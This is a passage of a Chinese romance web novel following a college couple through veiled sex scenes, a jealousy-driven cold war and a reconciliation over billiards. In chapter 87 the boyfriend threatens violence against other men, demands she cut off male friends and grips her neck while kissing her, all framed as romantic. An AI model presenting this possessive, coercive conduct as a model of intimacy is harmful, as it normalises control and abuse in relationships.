都说事不过三,在柯愫澄第三次看过去时,靳宥司掐着她的下巴,把她的脸掰正。他的嗓音低沉有磁性,勾得人心痒痒:"怎么?想两个一起来?" 柯愫澄不知道靳宥司是真有这个想法,还是故意吓唬人,她还在承受大boss的大招,完全没办法腾出脑子去思考这句话的真实含义。 不过也不需要她去思考,因为大boss会直接给出回答。 将小紫从冰水中取出,拎着那绳儿,精准寻到小颗。 原本柯愫澄的耐力就不足够好,在游戏加载界面时也没时间去选择回血技能,这也就导致她没抗多久的伤害,血条就从百分之八十直接降到了负二十。 第一回合战败后,大boss还有一身的劲,来到做煎饼的摊子前,问老板要了个顶配版的煎饼。 被翻了个面,趴在圆形烤盘上,煎饼师傅的手特巧,用小刮板刮刮没有摊平整的面糊,发现怎么刮都没用,两处地方依旧立起小山坡。 而玩家也在短暂的休息过后,从地上爬了起来,准备好继续迎战。 只是她没想到,煎饼师傅会拿着小紫来到小山坡,这让原本就没有烤好的面糊更是乱得一塌糊涂。 柯愫澄不干了,花了二十倍的钱买这个煎饼,师傅怎么可以乱做一通,他还想不想要回头客了。 玩家明显有些生气,不付这多出的二十倍的钱,转身就要离开煎饼摊,被老板结实的拽了回来。 靳宥司的声音就在耳畔,他明显故意压低了音量,只用气音撩拨:“这才哪到哪,就想耍赖了?” 柯愫澄还在气着,咬牙否认:"才不是,我都没有一点感觉,还可以再玩三个小时。" 不知怎地,这话直接戳中了靳宥司的笑点,他闷笑了声,轻咬了一下柯愫澄的耳垂:“呦,宝宝出息了。” 柯愫澄耳根子一阵烫,提醒煎饼师傅注意锅的温度,别又把饼摊得乱七八糟。 师傅说知道了,还热情的跟老顾客介绍店里新上了个煎饼配料,问她要不要尝一尝。不过师傅做多了强买强卖的活儿,也不给顾客思考的时间,已经将新配料拿出来,揪住草莓尖尖,捏了又捏,才摘掉草莓蒂。把整颗草莓捣成草莓酱平铺在煎饼上。 柯愫澄脸都烫了,鬼知道新配料是草莓啊,正宗的煎饼果子里面怎么可能会添加草莓这种东西,还是坐落在小山坡上的新鲜草莓,红透了,一看就美味。但没办法,黑暗料理已经被塞到怀里,柯愫澄只能掏出足足多了二十倍的钱,甩在靳宥司的脸上。 有钱赚谁会不乐意呢,看着靳宥司牵起一边的唇角:“霜了?” 能不嘛,一个愿打一个愿挨,绝配!顶顶的般配啊! 只是柯愫澄不知道靳宥司是不是故意报复自己,随口的一句三个小时,硬生生多出了二十分钟。 搞得好像谁不会报复谁似的,柯愫澄也使了坏招,拽着牵引绳,叫他哥哥,又问哥哥喜不喜欢,还说我是问你喜不喜欢我叫你哥哥,不是问你感受。 说着这些,柯愫澄眉梢轻轻一挑: "哥哥,你是不是想歪了啊。" 温度逐渐飙升,直至没有到达过的高度。 靳宥司骂了句艹,直接把柯愫澄抱起来,朝着阳台走去。 柯愫澄合理怀疑,如果不是第二天两人上午都有课,靳宥司会摊五六个小时的煎饼,这还是人吗! 从浴室出来时已经快凌晨五点,再过一个多小时二小时就该日出了,他们上午十点的课,昨天睡五个小时,今天睡四个小时。柯愫澄没话说,躺上床,被靳宥司搂着腰,他的脸埋进颈窝。 柯愫澄嫌烦,手肘往后抵了一下:"别闹我了。" 靳宥司不应答,也没有退开,柯愫澄倒没有那么多的功夫管他,说完这句话没一分钟就沉沉的睡了过去。 再醒来时,柯愫澄直接抬手甩在他脸颊:“这一个礼拜都吃素。” 靳宥司眉眼含笑,把柯愫澄拉起来,抱去洗漱:“我暂时没有做神仙的打算。” 柯愫澄眼皮都抬不起来:"我有。" 将电动牙刷塞进柯愫澄的嘴里,靳宥司特别有耐心的问:“就不能为我破个戒?” 柯愫澄不睁眼看他,边刷牙边说:“不太能。” 靳宥司不跟她在这里你一句我一句,快速洗漱整理完,坐上黑白渐变奔驰车。柯愫澄系上安全带,刚要倒头补觉,手机接连传来好几条消息。 她点进去看,是新加没几天的一个好友发来的图片,足足八,九张。似乎担心屏幕被偷窥到,毕竟她才换了手机膜,这膜不是防偷窥的。她将手机屏幕稍稍侧了侧,倒不是特别明显,但靳宥司还是察觉到了。 他并没有看过去,只用余光瞟到柯愫澄左右滑动了十几次屏幕后,开始敲字。敲完字不过几秒钟的时间,对面回过来一条语音,消息是嗖的一下冒出来的。 但柯愫澄并没有点开这条语音听,不知道具体原因,她转文字看了内容后,又敲了好一会儿的字。 这俩人足足聊了二十分钟,对面几乎都是发来语音消息,柯愫澄一条都没听,但聊得特欢。反观旁边的司机,全程一句话没说,主要是副驾驶这位也不搭理他,真是闹心。 直到车开到了大学城,柯愫澄才终于问了句:“你饿不饿?要不要买个早餐?” 车停在十字路口等红绿灯,靳宥司转眸看过来:“前面拐角那家贝果可以吗?” 柯愫澄点头:"我要蓝莓乳酪的。" 靳宥司应了声好,此时红灯已经开始倒计时,他收回视线看向前方。修长的手指轻轻敲击在方向盘上,如果没有看走眼的话,和柯愫澄聊了半小时天的人是个异性,那人的头像明显是个男头。 不久后车开进校园停在教学楼前面的停车坪。 柯愫澄刚下车,正正好撞到黎荔。她和陈弗凡讲了几句话就朝这边来,陈弗凡远远抬手跟靳宥司打了个招呼。 柯愫澄跟靳宥司说了声,一手拿着贝果,一手捏着手机,跟黎荔先一步进了教学楼。 之后的两节课,柯愫澄有事没事就拿着手机在那跟人发消息。黎荔明显察觉到不对劲,瞅了好几眼,最后在距离下课还有十分钟的时候,没忍住真诚发问:“你不是想把靳主席绿了吧。” 柯愫澄有些懵,敲完最后一个字发送过去,将手机锁屏时反问:“为什么这么说?” 黎荔抬抬下巴示意:“你已经抱着手机聊了很久的天了,靳主席不介意的吗?” 这有什么吗?柯愫澄不太理解:"为什么要介意?正常聊天说事介意什么?" 黎荔的怀疑不是没原因的,她是洞察力很敏锐的人,想必靳宥司也是。“可是跟你聊天的这位,顶着个江浙沪渣男头像,网名还是一串英文。” 86、冷战 是这样吗?柯愫澄完全没有注意到这一点。 她解释:“这就是我之前跟你说过的,自己心里有数那件事。” 黎荔没懂,又或者说她不知道自己是否猜对了,止不住的有些兴奋,眼睛都亮了一个度:“细说细说。” “不要,秘密。”柯愫澄不是不信任黎荔,是这件事对她来说太重要,她不想分心。 被拒绝,黎荔瞬间泄了气:“好吧。”她倒没有特别难过,能理解。 叹完气,听老师讲了会儿课,她又突然想到了什么,问了嘴:“那要是主席问我知不知道这个男的,我该怎么回答啊。”总要对下口供吧。 柯愫澄没想过这事,主要是她不觉得靳宥司会过来问。思考了两秒:“他可能都没察觉到也说不定。” 黎荔直接拉住柯愫澄的手,边拍她的手背,边语重心长的说:“这个方面你就还是别抱着侥幸心理了,因为我已经看出来了,主席的脸特别臭。” “你俩今天不就碰了一面吗?怎么看出来的?”柯愫澄真觉得是黎荔想太多。 黎荔也讲不清楚,只能再次提醒:“反正你小心点,主席生气应该挺难对付的,我呢就什么都不说,装不知情,其他的就看你了。” 柯愫澄没太把黎荔的话放心上,虽然她心里很清楚靳宥司吃醋生气了很难搞,但是也不是完全没办法的,加上现在他不都没表现出来嘛,怕什么,柯愫澄胆儿大得很。 没几分钟下课便敲响了,不等任课老师离开教室,陈弗凡就从教室后门溜了进来,坐在了最后排唯——个空位上。他一把将黎荔拽过来,身体紧紧贴着,搂着她的肩膀,看向暂时的电灯泡:“澄姐有兴趣陪我俩去打台球吗?” 柯愫澄睨了他一眼,将课本丢进托特包里:“就你俩?什么时候?” 陈弗凡:“今天下午,你要有朋友也可以叫过来一块儿玩。” 柯愫澄有一阵子没打台球了,倒是挺想玩玩的,不过今天下午靳宥司前两节有课,他不在又觉得没什么意思。柯愫澄正纠结着,余光瞟到出现在教室后门口的靳宥司。 他今天的穿搭风格偏美式复古,黑色短袖搭配黑色绑带牛仔裤,裤腰上系着一件红色格子衬衫,鞋子选择了和格子衬衫同色系的复古板鞋。 靳宥司其实很少穿颜色这么鲜艳的衣服,今天这么搭配就一个原因,柯愫澄穿的是红色格子裙。不知道的还以为他俩商量好的穿情侣装,实际上柯愫澄换好衣服坐在客厅玩手机的时候,靳宥司才去衣帽间,下来的时候就这样了。还怪幼稚的。 而这会儿,走廊上挤满了学生,都是下了课赶着去吃饭的,他们的注意力似乎都在这一刻,被靳宥司吸引了过去,兴许是因为他这头银发。 柯愫澄听到,同班一个小团体组织里的几个女生凑到一起小声议论。 "该说不说,自打他俩公开恋情后,靳主席的风格我是越来越喜欢了。" “我也我也!他以前就纯乖型,后来烫了个卷毛,没把我馋死。” “看来我们还是喜欢反差感强烈的男人。” "柯愫澄也吃太好了羡慕死了。" 她们前排的俩男生没忍住挤进了话题中。 “要我说是靳宥司走运,柯愫澄这么带劲,他就这么被人追到手了,我后槽牙都咬碎了啊。” “就是说,靳宥司吃这么好,我是真心眼红。” 原本那几个女生的对话声还不算太大,俩男生加入后,真是一点都不背着人。 惹得黎荔和陈弗凡对视了一眼。 在三人准备离开教室时,黎荔冷不丁一句:“带劲的人就是要跟带劲的人谈恋爱才够爽啊。” 陈弗凡笑得坏,立马附和:“就是说啊,我俩简直就是绝配,不服的撒泡尿照照哈。” 柯愫澄能不知道他俩这话里的意思嘛,已经快几步来到了教室后门。刚过来,靳宥司就伸手过来牵住了她的手: "中午去幻师吃?" 柯愫澄没意见:“行。”回完这话,她往后看了眼,黎荔和陈弗凡似乎怼人怼上瘾了,还在那小小声阴阳呢。她想起来问靳宥司:“陈弗凡约下午去打台球,你想不想玩?” 随着嘀嘀两下开锁声响,靳宥司问:“下午的课你想不想陪我上?” “陪你上完课再一起去打台球?”别说,柯愫澄还从来没有陪人上过课,这回还是陪男朋友,有点感兴趣。 靳宥司嗯哼了声,回过头跟陈弗凡说:“去幻师吃。” 陈弗凡双手合十拜了拜:“感谢老板!老板大气!” 见此情景,柯愫澄忍不住跟靳宥司吐槽了句:“我觉得他更适合当你的小跟班,你把谢津洲辞了吧。” 靳宥司眉眼间都含着笑:“正有此意。”说着这话,他抬手捏了下柯愫澄的脸颊,他知道她化了妆不让人碰,动作特别轻,但还是被柯愫澄捶了下肩膀。 捶完,柯愫澄还瞪人:“说了不能上手,你怎么这么欠揍。” 被揍了,靳宥司不但没脾气,反而还被爽到了,闷声低笑了声。 黎荔和陈弗凡实在不想在这里继续吃狗粮,连连摇头上了旁边的小车。 将近一个小时的路程,两辆车先后停在了幻师店门口的停车位。这会儿男店员已经等在了室外服务台,看到他们过来了,他立马迎上去。 等走近了,看清楚了,他瞬间被靳宥司的新发色吸引了全部的注意力,不自觉微微张嘴,眼都直了:“我靠老板,你这帅得有点过头了吧。” 靳宥司反应不大,夸人的又不是柯愫澄,他很显然是无感的,只是嗯了声。 紧接着就听到一旁的柯愫澄说:“就一个帅字未免太简单了点,你们老板的带劲程度只有你想不到的,下回多来几个词,说不定还给你涨工资呢。”听罢,靳宥司轻挑了下眉,唇角不着痕迹的扬起了浅浅的弧度。 男店员看出老板爽到了,麻溜附和:“是是是,我想想哈,咱们老板简直就是才貌双绝,风度翩翩,帅气逼人,颜值爆表让人直流哈喇子——”男店员还想继续,靳宥司听不下去了,拿钱堵住他的嘴:“去找经理开一千的奖金。” 听到奖金的金额数,看来靳宥司是真的快恶心吐了。柯愫澄忍不住想笑,被靳宥司牵着进了店。 身后男店员一个劲的鞠躬感谢,旁边几个员工立马围上来,眼里满是羡慕。 “我靠我什么时候这么好运气啊,澄子姐简直就是你的大贵人,你发没发现,自打她和老板认识后,你就贼走运。” “就是说啊,我上个礼拜还听经理说了,你马上就要升职了。” “这回升职该不会就是副经理了吧。” 男店员哪敢啊,连忙摆手:"别别别,你们再说下去,我总觉得后背特凉快。" 此时四人已经坐在了老位置。 服务员递上菜单,靳宥司要黎荔和陈弗凡先点,陈弗凡一点客气不讲,把没吃过的新品全要了一份。 而一旁的柯愫澄,自打进店坐下了,就一直抱着手机。 靳宥司早察觉到,余光瞟到聊天对象又是那个江浙沪渣男头。他忍了又忍,最终还是没憋住,深邃的眼眸含着审视:“这人是谁?” 他的嗓音极其冰冷,看似漫不经心的问了这么一句,实际上是个人都能感受到他浑身上下透出的阴冷。 对面的黎荔见状,在桌子底下拽了下陈弗凡的手,两人屏住气,等着看戏。 至于柯愫澄,在听到这个问题后,她都来不及把输入的消息内容发送出去,直接将手机锁屏,抬眸对上靳宥司阴沉沉的视线:“他是我朋友。” 靳宥司垂眸看着已经熄灭的手机屏幕,伸手过来,没抢走手机,只是握住了柯愫澄的手,掐着:“怎么没听你提过。” “最近新认识的。”这会儿柯愫澄还没意识到事情的严重性。 “怎么认识的?从哪认识的?最近我俩干什么都待一起,你去哪认识新人?还是说他是你们班的,是哪个不长眼的?” 一连好几个问题砸上来,堵得柯愫澄一句话说不出。 她能猜到,靳宥司已经不乐意了,他这话里的狠劲都不带藏着掖着的,看到他眼中闪起的几分寒意,一双眼正死死盯着。 柯愫澄勉强解释:“不是班里的。” “哪是怎么认识的?叫什么名儿?”靳宥司很明显没打算轻易放过她,刨根问底儿,直接逼到跟前来了。 柯愫澄真不是故意不说,主要是这事要提前知道了就没意思了。她继续尝试快速结束这个话题:“我不知道他叫什么,反正就是个新朋友。” 黎荔和陈弗凡都有点看不下去了,这回答的方式不纯纯找死嘛。不知道现在退出战场还来不来得及,他俩就不该应下这餐饭。 正这么想着,靳宥司脸色愈发阴沉,气笑出声,嗓音中压抑着怒:“呵,网友?” 柯愫澄意识到自己说错话了,她算是发现了,只要跟靳宥司面对面,她脑子就有点转不过弯,特笨,属于心里想的和说出来的严重不符。可现在能怎么办呢,强行圆呗。 “也不算。”“你俩私底下还见了面?”没完了,走哪都是掉坑里,这叫人怎么说嘛。 柯愫澄直接摆烂:“你好奇心别这么重,反正没有不良关系,就一普通朋友。” 她话音刚落,靳宥司松了手,不再看她,撂一句:“行。” 至此,两人开始了恋爱以来第一次冷战。 87、耍赖 这餐饭吃得特别煎熬,黎荔和陈弗凡都不知道他俩是怎么做到光盘的,真是饿死鬼投胎,就像两个只会吃饭的机器人,只管往嘴里塞食物,一双眼没从对面两人身上挪开过,吃了些什么不清楚,唯一的印象就是那俩人全程没有任何的交流。 而靳宥司在柯愫澄还没放筷子前就起身离开了,说是回学校上课,实际上就是生气了,不乐意粘着柯愫澄了。 等靳宥司一走,黎荔麻溜凑上来:“我说什么来着,你还不听我的,连应付的话都没想好啊你!” 闻言,陈弗凡有些懵:“什么情况?真小三啊。”如果真有三儿,对朋友双标的陈弗凡,也不是完全不能睁只眼闭只眼的。 不过不等他胡思乱想,柯愫澄摆手叫人闭嘴:“没有的事。” 黎荔还是忍不住,多问了一句:“所以真的不能说吗?我俩嘴很严的。” 柯愫澄睨过去一眼:“不能。”她这会儿特郁闷,正琢磨怎么讨好靳宥司呢。 要换做平时,把话说清楚就行了,但这次很明显不能用这种方式。掰着手指算,少说得一个月,冷战一个月真要人命。 一整个下午柯愫澄都特别闷,从幻师出来上了陈弗凡的车开始,她就一直抱着手机,黎荔以为她还在跟那个新朋友聊天,想着她心也是真够大的,老公要跑了还不知道急。但实际上柯愫澄是在措词,手机界面一直停留在与Si-的聊天框内,不过她打了删删了打,始终没有发出去任何一条消息。 到了台球馆,他们这回选在包间玩。柯愫澄拿了杆就往落地窗边的沙发一坐,揣着杆继续琢磨该怎么哄人。 陈弗凡看出来了,有意帮忙,主要是他真心觉得靳宥司这人不错,虽然不知道事情的具体情况,但是这两人之间不可能存在什么大矛盾,谈恋爱嘛难免拌嘴,他俩又都倔,得要朋友适当的帮一把才行。 见柯愫澄完全没有要上场打球的意思,陈弗凡看了眼腕表时间,边陪黎荔玩球,边掏出手机给靳宥司发过去一条消息。那边回得特快,都用不着猜就知道,少爷在等澄子主动发消息呢,但凡发一句,什么都行,多半这俩人就和好如初了。 陈弗凡叹气都来不及,也真是,自己在这瞎凑什么热闹呢,让他俩自个闹闹得了。 不过消息都已经发出去了,也没办法撤回,看到靳宥司的回复内容,陈弗凡把手机往黎荔面前递。 黎荔刚打进一个球,瞥了眼手机屏幕,看到两人的聊天内容,竖起一个大拇指,冲陈弗凡做嘴型:还是你牛逼。 这边刚偷偷摸摸交流完,柯愫澄不琢磨了,她发现自己这脑子里一点有用的哄人招数都没有,是谈恋爱之后变傻了吗,之前撩拨游戏不玩得挺好来着呢。她不想这么多,直接将手机撂到一旁,看向不远处台球桌前的两人:“你俩聊什么呢,赶紧结束这局,我要玩。” 黎荔用手肘抵了下陈弗凡,陈弗凡秒懂,杆瞄准,小臂钟摆运动几次后干脆利落出杆。 听到两球相撞,圆球滚动进袋的声响。 黎荔一手附在球桌边,故意问柯愫澄:"你和靳主席和好了吗?" “没,就这样吧,他要真行,今晚就别回家住。”柯愫澄说气话特别在行,每次都能把人气个半死,她自己没察觉到这一点,但朋友们都清楚。 黎荔能想象到,如果这话被靳宥司听到了,他俩得冷战到明天都好不了。不过作为最好的朋友,黎荔很清楚,柯愫澄说这话是因为她想不到招哄人,把自己给气到了。 作为旁观者,黎荔也只能祈祷他俩赶紧和好。 之后,陈弗凡和黎荔轮流陪柯愫澄玩了足足两个小时的球,柯愫澄就没输过,两人是越打越丧,纳闷怎么就赢不了呢。但柯愫澄不喊停,陈弗凡也没胆不陪,隔不了多久就抬手看一眼腕表时间,眼见已经下午五点了,靳宥司还没有影,别是不打算来了。 正沮丧着走了神,柯愫澄叫他一声:“诶,轮到你了。” 她话音刚落,包间的门被推开,靳宥司手里握着手机,贴耳边跟人讲电话。他面色平静无波澜,反手关上门,简单扫了一眼整个包间,视线最终停留在撑着球杆,站姿随意的柯愫澄身上。 他盯了她许久,眼神隐晦不明。 柯愫澄没想过靳宥司会来,以为他说完那句行,两人就老死不相往来了,毕竟他这人醋性大,谁知道没几个小时他就低头了? 柯愫澄有些看不懂他眼底的情绪,装不熟装到这份上,现在又一个劲的盯着看做什么?她故意别开了眼,不想跟他继续无用的眼神交流。 而此时的陈弗凡,仿佛盼来了救星,连忙拿着球杆迎上去。靳宥司接了球杆,跟电话那头的人说:“行我知道了,回头等他回国了,叫他请客吃饭。” 讲完电话,靳宥司将手机锁屏揣兜里,一双眼没从柯愫澄身上挪开,还死死盯着,看到她已经下场不玩了,他唇角露出一丝冷笑。 黎荔余光瞟到靳宥司那略带侵略性的眼神,就像是凶猛的猎手正在盯着即将落入陷阱的可口猎物。 不知怎地,黎荔甚至有些后背发凉。该说不说,反差感如此强烈的男人,也只有柯愫澄能搞定了。 也是这时,靳宥司对着落地窗边,冷不丁说了句:“来一局?” 在场的还有谁不知道他这话是说给谁听的。 刚好柯愫澄也想不到哄人的招了,索性直接应了下来:“行啊。”她也不是怕事的人,特别是在靳宥司面前,胆子特别大。说着这话,柯愫澄重新拿起球杆,来到台球桌前,等着靳宥司摆球开球。 见此情景,黎荔有种说不上来的感觉,这俩人气场太可怕,真的是在冷战吗,总觉得哪里怪怪的。 她拍了下陈弗凡的腿,视线没挪,还盯着他俩看:“你觉不觉得我俩有点碍事,要不咱撤吧。”“万一他俩等会儿打起来了怎么办?”陈弗凡还是有点担心,毕竟看这架势,多半是要干上一架的。黎荔都不带思考的:“你的意思是等会儿嘴唇咬破了,脖子一塌糊涂,手腕还留痕的那种打起来吗?”要不说他俩是一对呢。 陈弗凡挑眉:“你是不是想吃雪糕来着,我们现在就去吃。” “我看行。” 话音落,陈弗凡和黎荔前后脚偷偷摸摸撤退了。 随着球杆击打白球,十五颗球被撞散分布在桌面各个角落,其中四颗球碰库,两人的切磋正式开始。很明显这次他们都不打算随便玩玩,莫名有种把所有的气都撒到球上的感觉。不知道的还以为他俩有什么深仇大恨,板着张脸就在那打。 柯愫澄甚至都忘记她原本的打算是哄人,等赛事过半,她才反应过来,自己不是要哄靳宥司来着呢,怎么打球把这事搞忘记了。 此时台上的球没剩几个,等待靳宥司击球的间隙,柯愫澄从球桌的另一侧慢慢挪过去。靳宥司有所察觉,正轻微俯身,五指分开贴台,球杆瞄准,小臂钟摆运动。 不给他出杆的机会,柯愫澄已经停在他身旁,偏头俯身,遮挡住他的视线,靳宥司想躲开,轻微皱了下眉。 柯愫澄就再挪过去一点,挡得严严实实,要他盲打。 靳宥司很是无奈,视线也终于挪向柯愫澄。 对上眼的一瞬间,柯愫澄凑上前,吻上他的唇,唇瓣角触碰上后立马就撤,而这会儿,靳宥司已经出杆,打了个世纪烂球出去。 柯愫澄看到了,这下轮到她打了。她找好位置,摆出动作出杆,打了个漂亮的球,花色球进袋,她继续选择下一个目标球。 靳宥司眉头紧锁,深深叹了口气:“不带这么玩儿的。” 柯愫澄再次打进一个球,接下来只需要把黑八打进袋中就算赢了。 她不急不慢,摆出瞄准动作,边说着,边挥动小臂:“我什么都没干啊,就突然特别想亲你,可能没挑好时间和场所,问题应该不大吧。” 柯愫澄耍赖真有一套,靳宥司拿她没辙:“那再亲一下我就原谅你。” “原谅我什么?”也没干什么坏事吧……柯愫澄没打那颗球,将球杆平放到桌面上。 听到靳宥司说:“原谅你和除我以外的异性聊天。” "我可没出轨。" 靳宥司的脸色稍沉,神色很是复杂:"聊天也不行。" 柯愫澄明知道靳宥司在气头上,但就是忍不住继续激他:“那怎样行,现实生活中打交道呢。” 靳宥司太了解柯愫澄,不过他不介意她问这样的问题,只是轻扯了下唇角:“你最好祈祷他们抗揍,我好像不算特别温柔,也不大方,或者换种说法,我这人特别小气,你多看人家一眼,我就想那人直接从这世界上消失,他们多看你一眼,我就想把他们眼珠子挖出来。" 说完这话,他似乎觉得还不足够清楚,接着道:“肩膀碰肩膀不行,握手更是不允许。我疑心重,你好友列表那些男性朋友我早看不顺眼了,除了我认识的几个人,其他的可以都滚蛋吗?他们是不是特别乐意给你发消息啊?你回不回是一回事,他们找你聊,我就看不顺眼。” 靳宥司想说的话还有很多,用词或许会很粗鲁,他不知道柯愫澄是否能接受这样的自己,是真的气上头了,忍不住。 而这应该也是他第一次这么直接的表达自己的不满以及真实的心理活动。 柯愫澄不觉得他可怕,甚至有些享受他这样的占有欲。 既然现在都把话说得这么清楚了,柯愫澄也感受到了靳宥司不一样的情绪,她试图安抚,走到他面前,捧着他的脸,盯着他的眼睛:“就这一次,之后保证不会再有秘密,你要不喜欢那些人,我就都给解决掉。” 四目相对,两人的呼吸交织在一起。 也就这么几秒钟的时间,靳宥司忽然又什么都不在意了,就算柯愫澄不耍赖,他也做不到和她冷战。 她不知道,两人谁也不搭理谁的三个多小时,是有多么的难熬。 靳宥司并没有应柯愫澄的这句话,而是搂住她的腰,将人往自己身前带。 猝不及防撞上来后,他偏头吻上她的嘴唇,发狠的吻,像是要咬死她才好。 这回这事真的给他气炸了,光是想到柯愫澄跟那个男的从早上出门就开始聊天,没见面的这么几个小时肯定也还在联系,他就醋到牙痒痒。他就该把手机抢过来删了那男的的联系方式,要有幸能逮到那男的,不管他和柯愫澄是什么关系,先揍他一顿解解气。 还有那些乱七八糟的异性朋友,他们熟吗就隔三差五发消息过来,柯愫澄都不乐意搭理还发发发,明知道人家有男朋友,就乐意找刺激是吧。都等着吧,过了今天,他要好好找人算账。 唇齿交缠,这横冲直撞的怒火,让柯愫澄有些承受不住。 她不清楚他满脑子都在想些什么东西,唯一的感受就是,自己快被他活活吞进肚子里了。 不给换气的机会,柯愫澄被抱着坐到了台球桌上。她的手自然的扶在了靳宥司的腰上,隔着薄薄一层布料摸到他结实的肌肉。 靳宥司的吻带着攻击性,比任何一次都要凶猛。 他一手撑在柯愫澄身后的台球桌面上,一手掐着她的脖子。她微微仰头被他米且暴的吻着,窒息感让她越发清醒。 知道这回是真的玩大了,如果可以再来一次,她一定不当着他的面跟人发消息。 察觉到柯愫澄有点走神,靳宥司狠狠咬住她唇瓣,柯愫澄痛得睁开了眼,意外发现他居然正死死盯着自己。他的眼底带着一丝令人毛骨悚然的湿冷,仿佛就是一头恶狼。 柯愫澄痛得面部表情都有些扭曲,想推开他,被靳宥司用另一只手抓住了手腕,掐着脖子的手没松,舌尖退了出去:“在想谁?”知道靳宥司是误会了,柯愫澄刚要解释,但他却不给这个机会,吻上来前说了句:“我不想听,认真点,我不想在这里欺负你。”嘴唇再次相撞。 柯愫澄知道靳宥司这话里的意思,手不自觉往他衣服里探,摸到他腰上似乎系了个东西,她有些懵,推开他,刚吐出一句:“你腰上是什么?”就被堵住了嘴,发狠地搅着。 柯愫澄好奇,听不到回答就自己摸索。越摸就越不对劲,耳根子烫到离谱。她实在忍不住了,再次用力推开他,直接撩起他的衣服。 就看到靳宥司腰上系着一条红绳,性感到柯愫澄浮想联翩。他不想在这里欺负她,可她想在这里马,奇上他啊。 柯愫澄抬头对上他的视线:“你开的哪辆车来着。” “做不了,车顶太低。” “你是不是故意的。”柯愫澄合理怀疑,靳有司是不是以为自己不足够有吸引力了啊,所以他脑子里到底在想些什么乱七八糟的。 不知道为什么,这一刻,柯愫澄鼻尖突然有些发酸发胀,好像一直以来都是靳宥司在让步,他忍受了太多太多。明明在这之前柯愫澄还跟柯闻说,会找机会告诉靳宥司,自己对他的喜欢,却迟迟没有动作。现在看来,她实在太坏了点。 察觉到柯愫澄情绪的异常波动,靳宥司的手刚扶上她后背,就听到她开口问:“你相信我吗?” 靳宥司没有丝毫犹豫的回答:“相信。” 第88章烟圈 88、烟圈 黎荔和陈弗凡在附近逛了一大圈,吃了足足三支雪糕才磨蹭着回到了台球馆。 进电梯的时候,黎荔还在纠结犹豫:“你说我们要不直接找家店把晚饭解决了再上去,万一他俩在沟通交流,被打断好像不太妥。” 不等陈弗凡回答,随着叮的一声响,电梯门向两侧缓缓打开,好巧不巧跟靳宥司和柯愫澄撞了个正着。 黎荔和陈弗凡下意识往后退了一步,眼神里满是不可思议。 黎荔的视线也在这一刻,慢慢下移,停在他们牵在一起的手上。仔细算算,他俩冷战的时间好像是从下午一点半到现在六点半,可能连五个小时都没有。 而陈弗凡的注意力明显不在手上,全集中在了两人红透了的双唇。脖子上倒是没留痕,看来是打了个小架。 此时电梯因为长时间没有关闭,发出滴滴滴的声响。 响声结束,陈弗凡用手挡了下门,拉着黎荔赶紧出了电梯:“你俩不玩了吗?要不要一起去吃个晚饭?” 靳宥司已经牵着柯愫澄进了电梯,按完楼层说了句:“不了,还有事儿。” 原来大架在后头啊。陈弗凡表示理解,点着头挥手告别:“哥哥姐姐慢走哈。” 出了台球馆,靳宥司刚解开车门锁,兜里的手机响起铃声,他掏出来看了眼来电人备注,一个单字闫。按接听键前,他抬抬下巴,示意要柯愫澄先上车。 柯愫澄应了声,拉开车门坐进车里,靳宥司则站在车旁讲电话。 见他讲得还挺认真,并没有注意车里的情况,柯愫澄动作迅速,掏出手机,点进江浙沪渣男头像的聊天框,发过去一条消息。澄zi:【有事邮箱联系,微信好友我删了。还有,你那边抓紧点时间,我急着用。】 几分钟后,靳宥司讲完电话坐进车里。系安全带时,他瞟了眼柯愫澄放在大腿上的手机,随后启动车子往家的方向开。 不久后车开进地下车库,倒车入库时,靳宥司注意到旁边停车位上停着的那辆黑色大G。 将车停好,靳宥司边解安全带,说:"去旁边那辆车里等我。" 柯愫澄不解:“你干嘛去?” 推开车门下了车,靳宥司回得随意:“买套。” 此时柯愫澄已经来到大G车旁,被靳宥司这话给唬到,拉车门的手一顿:“真在车里做啊。” 靳宥司在来的路上仔细想了下,他们好像还没正儿八经在车里做过,最开始去汽车影院那次也只是二垒,这回该全垒了。 靳宥司嗯了声:“要不要换个新花样?” “你是说泡泡糖的口味还是别的乱七八糟的?” 靳宥司不说,只是扯起唇角笑了下,笑得特坏,不正经:“上车吧。” 柯愫澄坐进车里,看着靳宥司渐远的背影,她还真猜不到他要买些什么,但可以肯定,绝对不是什么特别正经的东西,不过话又说回来了,这附近也没有情,趣,用品店啊,那可能得被迫正经了,真是挺难为人的。 正这么想着,靳宥司发过来一条消息。Si-:【我在便利店,想要点什么零食?】 看到这句话,柯愫澄下意识皱了皱眉,心想:买零食去了?不是买套吗? 她搞不懂他,回复:【随便买我不挑。】柯愫澄这会儿满脑子都是炒饭,还吃什么零食啊。 很快那边回过来两句。Si-:【芒果味?】【还是水蜜桃味。】 澄zi:【我不喝酸奶,最近喝了就闹肚子。】 Si-:【我没说买酸奶。】 澄zi:【那是什么?】 Si-:【装酸奶的。】 ??? 这条消息柯愫澄没回,直接把手机锁屏丢副驾驶座上去了。 等靳宥司回来,已经是十五分钟后的事情。 柯愫澄发现他又在讲电话,不知道这两天怎么回事,电话还挺多。柯愫澄没有检查手机的习惯,主要是十通电话,十通都是男性友人打来的,导致柯愫澄有时候都会忘记,靳宥司还有个异性发小。 认识这么长时间,丁欲倾几乎不会出现,少有的几次还是因为周肆决在死缠烂打的追求。他们几个朋友都特别注意这方面,可能还有个原因,丁欲倾不乐意带他们仨男的玩。 看到靳宥司站在车前,手里拎着个透明购物袋,里头装着一瓶矿泉水,两盒颜色鲜艳的小东西,好像还有一盒薄荷糖,以及一袋原味薯片。柯愫澄在心里嘀咕,他也不害臊,就这么拎着过来了,是怕别人不知道他等会儿要开荤吗。而这通电话讲的时间有点久,柯愫澄刚降下车窗,就听到靳宥司跟电话那头的人说:“行了,晚点再找人跟你对接,我现在有事要办。”是有事要办,不是有人要办吗。 话音落,靳宥司挂断电话,绕到柯愫澄坐的这一侧,拉开了车门,购物袋丢她身上:“往里坐。” “你就不能从那边上吗?非得我挪。”柯愫澄抱怨,顺手将购物袋里的那盒薄荷糖拿了出来。 靳宥司才不管那么多,上半身已经探进车里,拿走柯愫澄手里的薄荷糖,丢到驾驶座:“别吃了。”说完这话,他就掐住柯愫澄的脖子,张嘴吻了上来。尝到柔软,湿润的舌头,柯愫澄的审题下意识往后仰,又挪了位置,靳宥司顺势上车。车门撞上的那一下,靳宥司把柯愫澄抱到了月退上坐着。 吻再次落下,唇舌交缠在一起。 没两下便停了下来。 靳宥司还想亲,都没亲够,要去寻柯愫澄的唇时,柯愫澄后脑勺撞到了前排座椅,手也抬起挡在了唇上。 问他:“你想不想试试吃了薄荷糖然后口。” 